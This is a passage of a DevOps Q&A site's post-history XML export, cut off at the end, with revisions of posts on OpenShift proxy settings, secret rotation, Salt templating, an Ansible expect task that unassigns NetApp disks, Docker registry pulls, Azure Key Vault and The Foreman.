  <row Id="11532" PostHistoryTypeId="2" PostId="3691" RevisionGUID="051bf76f-7714-4293-b7b5-bfe98dc6037f" CreationDate="2018-03-21T16:42:59.903" UserId="2805" Text="This seems to be [a proxy issue](https://github.com/openshift/origin/issues/14742) in your config. It is solved by [setting NO_PROXY](https://docs.openshift.org/latest/install_config/http_proxies.html#configuring-no-proxy) as follows:&#xD;&#xA;&#xD;&#xA;&gt; Edit the proxy environment variables in the OpenShift Origin control files. Ensure all of the files in the cluster are correct.&#xD;&#xA;&#xD;&#xA;    HTTP_PROXY=http://&lt;user&gt;:&lt;password&gt;@&lt;ip_addr&gt;:&lt;port&gt;/&#xD;&#xA;    HTTPS_PROXY=https://&lt;user&gt;:&lt;password&gt;@&lt;ip_addr&gt;:&lt;port&gt;/&#xD;&#xA;    NO_PROXY=master.hostname.example.com,10.1.0.0/16,172.30.0.0/16 &#xD;&#xA;&#xD;&#xA;&gt; Supports host names and [CIDRs](https://en.wikipedia.org/wiki/Classless_Inter-Domain_Routing). Must include the [SDN network](https://en.wikipedia.org/wiki/Software-defined_networking) and service IP ranges 10.1.0.0/16,172.30.0.0/16 by default." ContentLicense="CC BY-SA 3.0" />
  <row Id="11537" PostHistoryTypeId="2" PostId="3693" RevisionGUID="a0f43003-ab24-4fb5-99e2-a637bedb951b" CreationDate="2018-03-22T06:31:11.413" UserId="3116" Text="i wouldn't 'change' the secret at least in the short term but roll out a second secret with the same permission set as the original and roll that out through your configuration management or secrets management.&#xD;&#xA;ideally following @boomshadow 's answer.&#xD;&#xA;once the new credential is fully rolled out invalidate the old one/s&#xD;&#xA;repeat as necessary." ContentLicense="CC BY-SA 3.0" />
  <row Id="11538" PostHistoryTypeId="2" PostId="3694" RevisionGUID="cb48d14a-cbf1-4d49-85bd-4571824e02e7" CreationDate="2018-03-22T06:31:48.120" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="11539" PostHistoryTypeId="1" PostId="3694" RevisionGUID="cb48d14a-cbf1-4d49-85bd-4571824e02e7" CreationDate="2018-03-22T06:31:48.120" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11540" PostHistoryTypeId="2" PostId="3695" RevisionGUID="5aaf29b2-3337-4818-8f9b-9de4d56a6ba0" CreationDate="2018-03-22T06:31:48.120" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="11541" PostHistoryTypeId="1" PostId="3695" RevisionGUID="5aaf29b2-3337-4818-8f9b-9de4d56a6ba0" CreationDate="2018-03-22T06:31:48.120" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11542" PostHistoryTypeId="2" PostId="3696" RevisionGUID="013367f9-18ba-44de-8a26-04574affb2cc" CreationDate="2018-03-22T06:36:16.803" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="11543" PostHistoryTypeId="1" PostId="3696" RevisionGUID="013367f9-18ba-44de-8a26-04574affb2cc" CreationDate="2018-03-22T06:36:16.803" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11544" PostHistoryTypeId="2" PostId="3697" RevisionGUID="2df8f265-25b3-40e4-b095-d26217774792" CreationDate="2018-03-22T06:36:16.803" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="11545" PostHistoryTypeId="1" PostId="3697" RevisionGUID="2df8f265-25b3-40e4-b095-d26217774792" CreationDate="2018-03-22T06:36:16.803" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11546" PostHistoryTypeId="5" PostId="3697" RevisionGUID="e9abb0f0-c4c3-401a-a578-65f51926de1c" CreationDate="2018-03-22T08:33:36.973" UserId="47" Comment="added 166 characters in body" Text="For questions about Amazon Elastic Container Service (Amazon ECS), a highly scalable, high-performance container orchestration service that supports Docker containers" ContentLicense="CC BY-SA 3.0" />
  <row Id="11547" PostHistoryTypeId="24" PostId="3697" RevisionGUID="e9abb0f0-c4c3-401a-a578-65f51926de1c" CreationDate="2018-03-22T08:33:36.973" Comment="Proposed by 47 approved by 40, 13 edit id of 648" ContentLicense="CC BY-SA 3.0" />
  <row Id="11548" PostHistoryTypeId="5" PostId="3695" RevisionGUID="cb3a9773-b585-425c-a4e7-fb9c1fb98ec2" CreationDate="2018-03-22T08:34:04.033" UserId="47" Comment="added 130 characters in body" Text="For questions about HashiCorp's Vault product - a tool for managing  tokens, passwords, certificates, API keys, and other secrets." ContentLicense="CC BY-SA 3.0" />
  <row Id="11549" PostHistoryTypeId="24" PostId="3695" RevisionGUID="cb3a9773-b585-425c-a4e7-fb9c1fb98ec2" CreationDate="2018-03-22T08:34:04.033" Comment="Proposed by 47 approved by 40, 13 edit id of 646" ContentLicense="CC BY-SA 3.0" />
  <row Id="11550" PostHistoryTypeId="50" PostId="2939" RevisionGUID="42aaf759-4d4f-4891-b6be-7d0e7722ba0c" CreationDate="2018-03-22T10:57:27.663" UserId="-1" />
  <row Id="11551" PostHistoryTypeId="2" PostId="3698" RevisionGUID="fdb4d5de-7d18-4bc9-a2aa-c64d629bc726" CreationDate="2018-03-22T13:10:26.620" UserId="6356" Text="There is no much choices regarding your situation, I see two of them :&#xD;&#xA;&#xD;&#xA; 1. You ask your dev dpt to add your jinja templating to their builds (which may be hard or even impossible)&#xD;&#xA; 2. You can use salt module such as file.append or file.replace to add / replace your jinja code inside (this is not very clean that's the least we can say)&#xD;&#xA;&#xD;&#xA;If you'd share an example that may help us to give some good advice" ContentLicense="CC BY-SA 3.0" />
  <row Id="11552" PostHistoryTypeId="5" PostId="3688" RevisionGUID="366c6012-5477-4ee2-a026-00cf094b58bd" CreationDate="2018-03-22T13:14:34.830" UserId="6591" Comment="added 8783 characters in body" Text="I've noticed that the expect module will always time out and cause an rc=1 code. It's doing everything that I wand it to, I just want to move to another module. How can I end the expect module and move to the next one? &#xD;&#xA;&#xD;&#xA;      tasks:&#xD;&#xA;        - name: Disk Unassignment&#xD;&#xA;          expect:&#xD;&#xA;            echo: yes&#xD;&#xA;            timeout: 180&#xD;&#xA;            command: telnet '{{ terms }}' '{{ termp }}'&#xD;&#xA;            responses:&#xD;&#xA;              Escape character is:  &quot;echo&quot;&#xD;&#xA;              Error: &quot;boot_diags&quot;&#xD;&#xA;              Continue with boot?: &quot;yes&quot;&#xD;&#xA;              root logged: &quot;disk remove_ownership all&quot;&#xD;&#xA;              Do you: &quot;yes&quot;&#xD;&#xA;              Volumes: &quot;yes&quot;&#xD;&#xA;        - meta: end_play&#xD;&#xA;&#xD;&#xA;Task output:&#xD;&#xA;&#xD;&#xA;TASK [Disk Unassignment] **********************************************************************************************************************************************************************&#xD;&#xA;task path: /home/sansible/ansible/disk-unassign.yaml:13&#xD;&#xA;fatal: [localhost]: FAILED! =&gt; {&quot;changed&quot;: true, &quot;cmd&quot;: &quot;telnet '10.233.82.7' '2045'&quot;, &quot;delta&quot;: &quot;0:05:06.745419&quot;, &quot;end&quot;: &quot;2018-03-22 09:10:54.046165&quot;, &quot;msg&quot;: &quot;non-zero return code&quot;, &quot;rc&quot;: 1, &quot;start&quot;: &quot;2018-03-22 09:05:47.300746&quot;, &quot;stdout&quot;: &quot;Trying 10.233.82.7...\r\r\nConnected to 10.233.82.7.\r\r\nEscape character is '^]'.\r\r\necho\r\nConnected to port 45. \r\necho\r\nInvalid command: \&quot;echo\&quot;\r\nAvailable commands: version, update_flash, netboot, boot_diags, boot_backup, boot_primary, boot_ontap, sp, flash, bye, set, lsmod, autoboot, go, boot, load, ndp, ping, arp, ifconfig, show, savenv, saveenv, unsetenv, set-defaults, setenv, printenv, help\r\n\r\nError (errcode=-1)\r\nLOADER-A&gt; boot_diags\r\nLoading X86_64/freebsd/image1/kernel:0x200000/10377184 0xbe57e0/6364864 Entry at 0x80294c20\r\nLoading X86_64/freebsd/image1/platform.ko:0x11f8000/2512792 0x145e798/393448 0x14be880/541680 \r\nStarting program at 0x80294c20\r\nNetApp Data ONTAP 9.1RC2X9\r\n**Invalid config, overriding as ignore_chassis_config is set** \r\n\r\nTrying to mount root from msdosfs:/dev/da0s1 [ro]...\r\nmd0 attached to /X86_64/freebsd/image1/rootfs.img\r\nTrying to mount root from ufs:/env/md0.uzip []...\r\nmountroot: waiting for device /env/md0.uzip ...\r\nCopyright (C) 1992-2016 NetApp.\r\nAll rights reserved.\r\nWriting loader environment to the boot device.\r\nLoader environment has been saved to the boot device.\r\n*******************************\r\n*                             *\r\n* Press Ctrl-C for Boot Menu. *\r\n*                             *\r\n*******************************  \t\r\nNo SVM keys found.\r\nFirewall rules loaded.\r\nIpspace \&quot;ACP\&quot; created\r\nWAFL CPLEDGER is enabled. Checklist = 0x7ff841ff\r\nadd host 127.0.10.1: gateway 127.0.20.1\r\n5\r\n\r\n\tNOTE: You have chosen to boot the diagnostics kernel.\r\n\tUse the 'sldiag' command in order to run diagnostics on the system.\r\n\r\n\r\n\tYou have selected the maintenance boot option:\r\n\tthe system has booted in maintenance mode allowing the\r\n\tfollowing operations to be performed:\r\n\r\n\t?                 \tacorn             \r\n\tacpadmin          \taggr              \r\n\tcna_flash         \tdisk              \r\n\tdisk_latency      \tdisk_list         \r\n\tdisk_mung         \tdisk_shelf        \r\n\tdiskcopy          \tdisktest          \r\n\tdumpblock         \tenvironment       \r\n\tfcadmin           \tfcstat            \r\n\tfctest            \tfru_led           \r\n\tha-config         \thalt              \r\n\thelp              \tifconfig          \r\n\tkey_manager       \tled_off           \r\n\tled_on            \tnicadmin          \r\n\tnv8               \traid_config       \r\n\tsasadmin          \tsasstat           \r\n\tscsi              \tsesdiag           \r\n\tsldiag            \tstorage           \r\n\tstsb              \tsysconfig         \r\n\tsystemshell       \tucadmin           \r\n\tversion           \tvmservices        \r\n\tvol               \tvol_db            \r\n\tvsa               \txortest           \r\n\r\n\tType \&quot;help &lt;command&gt;\&quot; for more details.\r\n\r\n\r\n\tIn a High Availablity configuration, you MUST ensure that the \r\n\tpartner node is (and remains) down, or that takeover is manually \r\n\tdisabled on the partner node, because High Availability \r\n\tsoftware is not started or fully enabled in Maintenance mode.\r\n\r\n\tFAILURE TO DO SO CAN RESULT IN YOUR FILESYSTEMS BEING DESTROYED\r\n\r\n\tNOTE: It is okay to use 'show/status' sub-commands such as\r\n\t'disk show or aggr status' in Maintenance mode while the partner is up\r\nContinue with boot? yes\r\nyes\r\n\r\n\r\nMar 22 09:04:24 [rtpsb-f6280-01-01:acp.need.firmware.update:info]: ACP module  (NA) needs a firmware upgrade, (disk shelf serial number: SHJ0000000152A6). \r\n\rMar 22 09:04:24 [rtpsb-f6280-01-01:acp.need.firmware.update:info]: ACP module  (NA) needs a firmware upgrade, (disk shelf serial number: SHJ0000000152A6). \r\n\r\r\nThu Mar 22 09:04:51 EDT 2018\r\n*&gt; Mar 22 09:04:51 [rtpsb-f6280-01-01:kern.syslog.msg:notice]: root logged in from SP\r\n \r\n\rdisk remove_ownership all\r\nAll disks will have their ownership information removed.\r\nFor high availability (HA) configurations, the partner node must be down.\r\nDo you wish to continue? yes\r\nVolumes must be taken offline. Are all impacted volumes offline(y/n)?? yes\r\n*&gt; &quot;, &quot;stdout_lines&quot;: [&quot;Trying 10.233.82.7...&quot;, &quot;&quot;, &quot;Connected to 10.233.82.7.&quot;, &quot;&quot;, &quot;Escape character is '^]'.&quot;, &quot;&quot;, &quot;echo&quot;, &quot;Connected to port 45. &quot;, &quot;echo&quot;, &quot;Invalid command: \&quot;echo\&quot;&quot;, &quot;Available commands: version, update_flash, netboot, boot_diags, boot_backup, boot_primary, boot_ontap, sp, flash, bye, set, lsmod, autoboot, go, boot, load, ndp, ping, arp, ifconfig, show, savenv, saveenv, unsetenv, set-defaults, setenv, printenv, help&quot;, &quot;&quot;, &quot;Error (errcode=-1)&quot;, &quot;LOADER-A&gt; boot_diags&quot;, &quot;Loading X86_64/freebsd/image1/kernel:0x200000/10377184 0xbe57e0/6364864 Entry at 0x80294c20&quot;, &quot;Loading X86_64/freebsd/image1/platform.ko:0x11f8000/2512792 0x145e798/393448 0x14be880/541680 &quot;, &quot;Starting program at 0x80294c20&quot;, &quot;NetApp Data ONTAP 9.1RC2X9&quot;, &quot;**Invalid config, overriding as ignore_chassis_config is set** &quot;, &quot;&quot;, &quot;Trying to mount root from msdosfs:/dev/da0s1 [ro]...&quot;, &quot;md0 attached to /X86_64/freebsd/image1/rootfs.img&quot;, &quot;Trying to mount root from ufs:/env/md0.uzip []...&quot;, &quot;mountroot: waiting for device /env/md0.uzip ...&quot;, &quot;Copyright (C) 1992-2016 NetApp.&quot;, &quot;All rights reserved.&quot;, &quot;Writing loader environment to the boot device.&quot;, &quot;Loader environment has been saved to the boot device.&quot;, &quot;*******************************&quot;, &quot;*                             *&quot;, &quot;* Press Ctrl-C for Boot Menu. *&quot;, &quot;*                             *&quot;, &quot;*******************************  \t&quot;, &quot;No SVM keys found.&quot;, &quot;Firewall rules loaded.&quot;, &quot;Ipspace \&quot;ACP\&quot; created&quot;, &quot;WAFL CPLEDGER is enabled. Checklist = 0x7ff841ff&quot;, &quot;add host 127.0.10.1: gateway 127.0.20.1&quot;, &quot;5&quot;, &quot;&quot;, &quot;\tNOTE: You have chosen to boot the diagnostics kernel.&quot;, &quot;\tUse the 'sldiag' command in order to run diagnostics on the system.&quot;, &quot;&quot;, &quot;&quot;, &quot;\tYou have selected the maintenance boot option:&quot;, &quot;\tthe system has booted in maintenance mode allowing the&quot;, &quot;\tfollowing operations to be performed:&quot;, &quot;&quot;, &quot;\t?                 \tacorn             &quot;, &quot;\tacpadmin          \taggr              &quot;, &quot;\tcna_flash         \tdisk              &quot;, &quot;\tdisk_latency      \tdisk_list         &quot;, &quot;\tdisk_mung         \tdisk_shelf        &quot;, &quot;\tdiskcopy          \tdisktest          &quot;, &quot;\tdumpblock         \tenvironment       &quot;, &quot;\tfcadmin           \tfcstat            &quot;, &quot;\tfctest            \tfru_led           &quot;, &quot;\tha-config         \thalt              &quot;, &quot;\thelp              \tifconfig          &quot;, &quot;\tkey_manager       \tled_off           &quot;, &quot;\tled_on            \tnicadmin          &quot;, &quot;\tnv8               \traid_config       &quot;, &quot;\tsasadmin          \tsasstat           &quot;, &quot;\tscsi              \tsesdiag           &quot;, &quot;\tsldiag            \tstorage           &quot;, &quot;\tstsb              \tsysconfig         &quot;, &quot;\tsystemshell       \tucadmin           &quot;, &quot;\tversion           \tvmservices        &quot;, &quot;\tvol               \tvol_db            &quot;, &quot;\tvsa               \txortest           &quot;, &quot;&quot;, &quot;\tType \&quot;help &lt;command&gt;\&quot; for more details.&quot;, &quot;&quot;, &quot;&quot;, &quot;\tIn a High Availablity configuration, you MUST ensure that the &quot;, &quot;\tpartner node is (and remains) down, or that takeover is manually &quot;, &quot;\tdisabled on the partner node, because High Availability &quot;, &quot;\tsoftware is not started or fully enabled in Maintenance mode.&quot;, &quot;&quot;, &quot;\tFAILURE TO DO SO CAN RESULT IN YOUR FILESYSTEMS BEING DESTROYED&quot;, &quot;&quot;, &quot;\tNOTE: It is okay to use 'show/status' sub-commands such as&quot;, &quot;\t'disk show or aggr status' in Maintenance mode while the partner is up&quot;, &quot;Continue with boot? yes&quot;, &quot;yes&quot;, &quot;&quot;, &quot;&quot;, &quot;Mar 22 09:04:24 [rtpsb-f6280-01-01:acp.need.firmware.update:info]: ACP module  (NA) needs a firmware upgrade, (disk shelf serial number: SHJ0000000152A6). &quot;, &quot;&quot;, &quot;Mar 22 09:04:24 [rtpsb-f6280-01-01:acp.need.firmware.update:info]: ACP module  (NA) needs a firmware upgrade, (disk shelf serial number: SHJ0000000152A6). &quot;, &quot;&quot;, &quot;&quot;, &quot;Thu Mar 22 09:04:51 EDT 2018&quot;, &quot;*&gt; Mar 22 09:04:51 [rtpsb-f6280-01-01:kern.syslog.msg:notice]: root logged in from SP&quot;, &quot; &quot;, &quot;&quot;, &quot;disk remove_ownership all&quot;, &quot;All disks will have their ownership information removed.&quot;, &quot;For high availability (HA) configurations, the partner node must be down.&quot;, &quot;Do you wish to continue? yes&quot;, &quot;Volumes must be taken offline. Are all impacted volumes offline(y/n)?? yes&quot;, &quot;*&gt; &quot;]}&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11553" PostHistoryTypeId="2" PostId="3699" RevisionGUID="a7252edd-6efd-4404-b7ad-21480d41ef92" CreationDate="2018-03-22T13:50:24.680" UserId="7040" Text="Try do pull your image manually first.&#xD;&#xA;&#xD;&#xA;docker pull ${DOCKER_REGISTRY}imageNameX:${VERSION}&#xD;&#xA;&#xD;&#xA;And then re-run your compose-file&#xD;&#xA;&#xD;&#xA;It maybe a bug using a private registry." ContentLicense="CC BY-SA 3.0" />
  <row Id="11558" PostHistoryTypeId="10" PostId="3639" RevisionGUID="13a17916-66ac-4ddb-92ec-77895a47e434" CreationDate="2018-03-22T14:53:15.813" UserId="13" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;},{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;}]}" />
  <row Id="11560" PostHistoryTypeId="5" PostId="3467" RevisionGUID="ee79ee2b-ba26-457c-bd55-3c954377cb33" CreationDate="2018-03-22T14:57:59.270" UserId="6356" Comment="add more argument" Text="It looks like everybody here assumes an IAC tool always run as expected, but I can tell you this is not always the case, otherwise unit test would actually be useless.&#xD;&#xA;&#xD;&#xA;I remember a picture saying &quot;Ansible playbook ran, everything is fine&quot; with a building burning in the background ...&#xD;&#xA;&#xD;&#xA;Running a declarative state and having the server in this actual declared state are 2 different thing. &#xD;&#xA;&#xD;&#xA;A broad and heterogeneous environment, spread across multiple DC, reachable through public network etc... There are multiple reason for which a state could not be applied, either fully or partially.&#xD;&#xA;&#xD;&#xA;For all these reasons, there is a need for unit test allowing one to get a snapshot of the actual server state, which, again, might differ from the aimed state.&#xD;&#xA;&#xD;&#xA;So I'd say yes, unit test are useful even in a IAC managed environment. &#xD;&#xA;&#xD;&#xA;**EDIT**&#xD;&#xA;&#xD;&#xA;What about the non-regression side of the dev branch of the IaC code base ? so you'd make changes to your code in dev branch and merge it to the prod branch hoping for not breaking everything ? unit test are so valuable, and usually simple to implement I do not see why one would code without this feature." ContentLicense="CC BY-SA 3.0" />
  <row Id="11562" PostHistoryTypeId="5" PostId="3467" RevisionGUID="4cd5d137-f88e-4c16-bd72-593d23affcfc" CreationDate="2018-03-22T15:34:22.457" UserId="6356" Comment="add reference" Text="It looks like everybody here assumes an IAC tool always run as expected, but I can tell (from my own experience) this is not always the case, otherwise unit test would actually be useless.&#xD;&#xA;&#xD;&#xA;I remember a picture saying &quot;Ansible playbook ran, everything is fine&quot; with a building burning in the background ...&#xD;&#xA;&#xD;&#xA;Running a declarative state and having the server in this actual declared state are 2 different thing from my point of view and experience at least.&#xD;&#xA;&#xD;&#xA;A broad and heterogeneous environment, spread across multiple DC, reachable through public network etc... There are multiple reason for which a state could not be applied, either fully or partially.&#xD;&#xA;&#xD;&#xA;For all these reasons, there is room for unit test allowing one to get a snapshot of the actual server state, which, again, might differ from the aimed state.&#xD;&#xA;&#xD;&#xA;So I'd say yes, unit test are useful even in a IAC managed environment. &#xD;&#xA;&#xD;&#xA;**EDIT**&#xD;&#xA;&#xD;&#xA;What about the non-regression side of the dev branch of the IaC code base ? so you'd make changes to your code in dev branch and merge it to the prod branch hoping for not breaking everything ? unit test are so valuable, and usually simple to implement I do not see why one would code without this feature.&#xD;&#xA;&#xD;&#xA;Reference (in french sorry for that): https://fr.slideshare.net/logilab/testinfra-pyconfr-2017" ContentLicense="CC BY-SA 3.0" />
  <row Id="11563" PostHistoryTypeId="2" PostId="3702" RevisionGUID="b43f24e7-ae5b-4457-8c74-1754621e8ffe" CreationDate="2018-03-22T15:44:06.273" UserId="1160" Text="For Azure Functions and WebJobs, is there any benefit to putting connection strings as Secrets in Key Vault instead of putting them directly in Application Settings (and referencing them using ConfigurationManager.ConnectionStrings)? Are Azure Key Vault Secrets primarily meant for VMs and such rather than Azure Functions and WebJobs?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11564" PostHistoryTypeId="1" PostId="3702" RevisionGUID="b43f24e7-ae5b-4457-8c74-1754621e8ffe" CreationDate="2018-03-22T15:44:06.273" UserId="1160" Text="Azure - Connection String in Key Vault vs Application Settings" ContentLicense="CC BY-SA 3.0" />
  <row Id="11565" PostHistoryTypeId="3" PostId="3702" RevisionGUID="b43f24e7-ae5b-4457-8c74-1754621e8ffe" CreationDate="2018-03-22T15:44:06.273" UserId="1160" Text="&lt;azure&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11566" PostHistoryTypeId="2" PostId="3703" RevisionGUID="4951d2da-0ac4-440b-b324-ff77b174361a" CreationDate="2018-03-22T15:44:16.940" UserId="2845" Text="I use [The Foreman](https://www.theforeman.org/) for this. It leverages the [fog vsphere](https://github.com/fog/fog-vsphere) module to interact with your vSphere server and also works with Google, Microsoft, and Amazon's clouds and other hypervisor systems as well if needed or you need to migrate at some point in the future.&#xD;&#xA;&#xD;&#xA;This software stack is backed by Red Hat and re-branded as [Red Hat Satellite 6](https://access.redhat.com/products/red-hat-satellite) if you wish to use their licensed and supported version and is specifically designed for management of the Lifecycle of machines (both physical and virtual) and it can also manage Docker containers.&#xD;&#xA;&#xD;&#xA;Upon deployment of your VM, you have the following options for configuring your newly deployed VM:&#xD;&#xA;&#xD;&#xA;* Kickstart script&#xD;&#xA;* Puppet&#xD;&#xA;* Ansible&#xD;&#xA;* Chef&#xD;&#xA;* SaltStack&#xD;&#xA;&#xD;&#xA;As a python shop, you will most likely be comfortable with either SaltStack or Ansible and would want to be sure to install The Foreman with support for your chosen configuration management software.&#xD;&#xA;&#xD;&#xA;This software comes with a [REST API](https://theforeman.org/api/1.17/) that can be leveraged to trigger vm deployments automatically from a build pipeline (Eg, Jenkins, Bamboo, TravisCI, CircleCI, etc) or you could have the VM trigger testing after configuration is complete (or both)." ContentLicense="CC BY-SA 3.0" />
  <row Id="11567" PostHistoryTypeId="5" PostId="3702" RevisionGUID="4c1c4de0-8800-4763-a70d-a22cff1da7f8" CreationDate="2018-03-22T15:49:57.357" UserId="1160" Comment="added 415 characters in body" Text="For Azure Functions and WebJobs, is there any benefit to putting connection strings as Secrets in Key Vault instead of putting them directly in Application Settings (and referencing them using ConfigurationManager.ConnectionStrings)? Are Azure Key Vault Secrets primarily meant for VMs and such rather than Azure Functions and WebJobs?&#xD;&#xA;&#xD;&#xA;It seems like it's just adding an extra step in both development (update the Secret in Key Vault and the Secret Identifier in Application Settings) and an extra step in runtime (an additional retrieval from Key Vault), with the only benefit being that the Secret in the Application Settings is an identifier instead of the actual Secret. I don't see the security benefit here, whereas there are detriments." ContentLicense="CC BY-SA 3.0" />
  <row Id="11568" PostHistoryTypeId="5" PostId="3699" RevisionGUID="d6ca3205-6217-45a2-8379-014247d5eb2a" CreationDate="2018-03-22T15:52:07.243" UserId="47" Comment="improved readability" Text="Try do pull your image manually first.&#xD;&#xA;&#xD;&#xA;    docker pull ${DOCKER_REGISTRY}imageNameX:${VERSION}&#xD;&#xA;&#xD;&#xA;And then re-run your compose-file&#xD;&#xA;&#xD;&#xA;It may be a bug using a private registry." ContentLicense="CC BY-SA 3.0" />
  <row Id="11569" PostHistoryTypeId="5" PostId="3698" RevisionGUID="62450c16-2f8a-4ec0-925a-1c9afd1b3472" CreationDate="2018-03-22T15:56:05.697" UserId="47" Comment="improved readability" Text="There is no much choices regarding your situation, I see two of them :&#xD;&#xA;&#xD;&#xA; 1. You ask your dev dpt to add your jinja templating to their builds (which may be hard or even impossible)&#xD;&#xA; 2. You can use salt module such as `file.append` or `file.replace` to add / replace your jinja code inside (this is not very clean that's the least we can say)&#xD;&#xA;&#xD;&#xA;If you'd share an example that may help us to give some good advice" ContentLicense="CC BY-SA 3.0" />
  <row Id="11570" PostHistoryTypeId="5" PostId="3688" RevisionGUID="ac425d62-ece3-4854-925f-f69a38915962" CreationDate="2018-03-22T16:34:18.970" UserId="6591" Comment="added 360 characters in body" Text="I've noticed that the expect module will always time out and cause an rc=1 code. It's doing everything that I wand it to, I just want to move to another module. How can I end the expect module and move to the next one? &#xD;&#xA;&#xD;&#xA;      tasks:&#xD;&#xA;        - name: Disk Unassignment&#xD;&#xA;          expect:&#xD;&#xA;            echo: yes&#xD;&#xA;            timeout: 180&#xD;&#xA;            command: telnet '{{ terms }}' '{{ termp }}'&#xD;&#xA;            responses:&#xD;&#xA;              Escape character is:  &quot;echo&quot;&#xD;&#xA;              Error: &quot;boot_diags&quot;&#xD;&#xA;              Continue with boot?: &quot;yes&quot;&#xD;&#xA;              root logged: &quot;disk remove_ownership all&quot;&#xD;&#xA;              Do you: &quot;yes&quot;&#xD;&#xA;              Volumes: &quot;yes&quot;&#xD;&#xA;        - meta: end_play&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;    TASK [Disk Unassignment] ***************************************************************************************************************************************************************************&#xD;&#xA;task path: /home/sansible/ansible/disk-unassign.yaml:13&#xD;&#xA;fatal: [localhost]: FAILED! =&gt; {&quot;changed&quot;: true, &quot;cmd&quot;: &quot;telnet '10.233.82.7' '2045'&quot;, &quot;delta&quot;: &quot;0:05:07.775726&quot;, &quot;end&quot;: &quot;2018-03-22 12:30:52.315879&quot;, &quot;msg&quot;: &quot;non-zero return code&quot;, &quot;rc&quot;: 1, &quot;start&quot;: &quot;2018-03-22 12:25:44.540153&quot;, &quot;stdout&quot;: &quot;Trying 10.233.82.7...\r\r\nConnected to 10.233.82.7.\r\r\nEscape character is '^]'.\r\r\necho\r\nConnected to port 45. \r\necho\r\nInvalid command: \&quot;echo\&quot;\r\nAvailable commands: version, update_flash, netboot, boot_diags, boot_backup, boot_primary, boot_ontap, sp, flash, bye, set, lsmod, autoboot, go, boot, load, ndp, ping, arp, ifconfig, show, savenv, saveenv, unsetenv, set-defaults, setenv, printenv, help\r\n\r\nError (errcode=-1)\r\nLOADER-A&gt; boot_diags\r\nLoading X86_64/freebsd/image1/kernel:0x200000/10377184 0xbe57e0/6364864 Entry at 0x80294c20\r\nLoading X86_64/freebsd/image1/platform.ko:0x11f8000/2512792 0x145e798/393448 0x14be880/541680 \r\nStarting program at 0x80294c20\r\nNetApp Data ONTAP 9.1RC2X9\r\n**Invalid config, overriding as ignore_chassis_config is set** \r\n\r\nTrying to mount root from msdosfs:/dev/da0s1 [ro]...\r\nmd0 attached to /X86_64/freebsd/image1/rootfs.img\r\nTrying to mount root from ufs:/env/md0.uzip []...\r\nmountroot: waiting for device /env/md0.uzip ...\r\nCopyright (C) 1992-2016 NetApp.\r\nAll rights reserved.\r\nWriting loader environment to the boot device.\r\nLoader environment has been saved to the boot device.\r\n*******************************\r\n*                             *\r\n* Press Ctrl-C for Boot Menu. *\r\n*                             *\r\n*******************************  \t\r\nNo SVM keys found.\r\nFirewall rules loaded.\r\nIpspace \&quot;ACP\&quot; created\r\nWAFL CPLEDGER is enabled. Checklist = 0x7ff841ff\r\nadd host 127.0.10.1: gateway 127.0.20.1\r\n5\r\n\r\n\tNOTE: You have chosen to boot the diagnostics kernel.\r\n\tUse the 'sldiag' command in order to run diagnostics on the system.\r\n\r\n\r\n\tYou have selected the maintenance boot option:\r\n\tthe system has booted in maintenance mode allowing the\r\n\tfollowing operations to be performed:\r\n\r\n\t?                 \tacorn             \r\n\tacpadmin          \taggr              \r\n\tcna_flash         \tdisk              \r\n\tdisk_latency      \tdisk_list         \r\n\tdisk_mung         \tdisk_shelf        \r\n\tdiskcopy          \tdisktest          \r\n\tdumpblock         \tenvironment       \r\n\tfcadmin           \tfcstat            \r\n\tfctest            \tfru_led           \r\n\tha-config         \thalt              \r\n\thelp              \tifconfig          \r\n\tkey_manager       \tled_off           \r\n\tled_on            \tnicadmin          \r\n\tnv8               \traid_config       \r\n\tsasadmin          \tsasstat           \r\n\tscsi              \tsesdiag           \r\n\tsldiag            \tstorage           \r\n\tstsb              \tsysconfig         \r\n\tsystemshell       \tucadmin           \r\n\tversion           \tvmservices        \r\n\tvol               \tvol_db            \r\n\tvsa               \txortest           \r\n\r\n\tType \&quot;help &lt;command&gt;\&quot; for more details.\r\n\r\n\r\n\tIn a High Availablity configuration, you MUST ensure that the \r\n\tpartner node is (and remains) down, or that takeover is manually \r\n\tdisabled on the partner node, because High Availability \r\n\tsoftware is not started or fully enabled in Maintenance mode.\r\n\r\n\tFAILURE TO DO SO CAN RESULT IN YOUR FILESYSTEMS BEING DESTROYED\r\n\r\n\tNOTE: It is okay to use 'show/status' sub-commands such as\r\n\t'disk show or aggr status' in Maintenance mode while the partner is up\r\nContinue with boot? yes\r\nyes\r\n\r\n\r\nMar 22 12:24:22 [rtpsb-f6280-01-01:acp.need.firmware.update:info]: ACP module  (NA) needs a firmware upgrade, (disk shelf serial number: SHJ0000000152A6). \r\n\rMar 22 12:24:22 [rtpsb-f6280-01-01:acp.need.firmware.update:info]: ACP module  (NA) needs a firmware upgrade, (disk shelf serial number: SHJ0000000152A6). \r\n\r\r\nThu Mar 22 12:24:49 EDT 2018\r\n*&gt; Mar 22 12:24:49 [rtpsb-f6280-01-01:kern.syslog.msg:notice]: root logged in from SP\r\n \r\n\rdisk remove_ownership all\r\nAll disks will have their ownership information removed.\r\nFor high availability (HA) configurations, the partner node must be down.\r\nDo you wish to continue? yes\r\nVolumes must be taken offline. Are all impacted volumes offline(y/n)?? yes\r\n*&gt; &quot;, &quot;stdout_lines&quot;: [&quot;Trying 10.233.82.7...&quot;, &quot;&quot;, &quot;Connected to 10.233.82.7.&quot;, &quot;&quot;, &quot;Escape character is '^]'.&quot;, &quot;&quot;, &quot;echo&quot;, &quot;Connected to port 45. &quot;, &quot;echo&quot;, 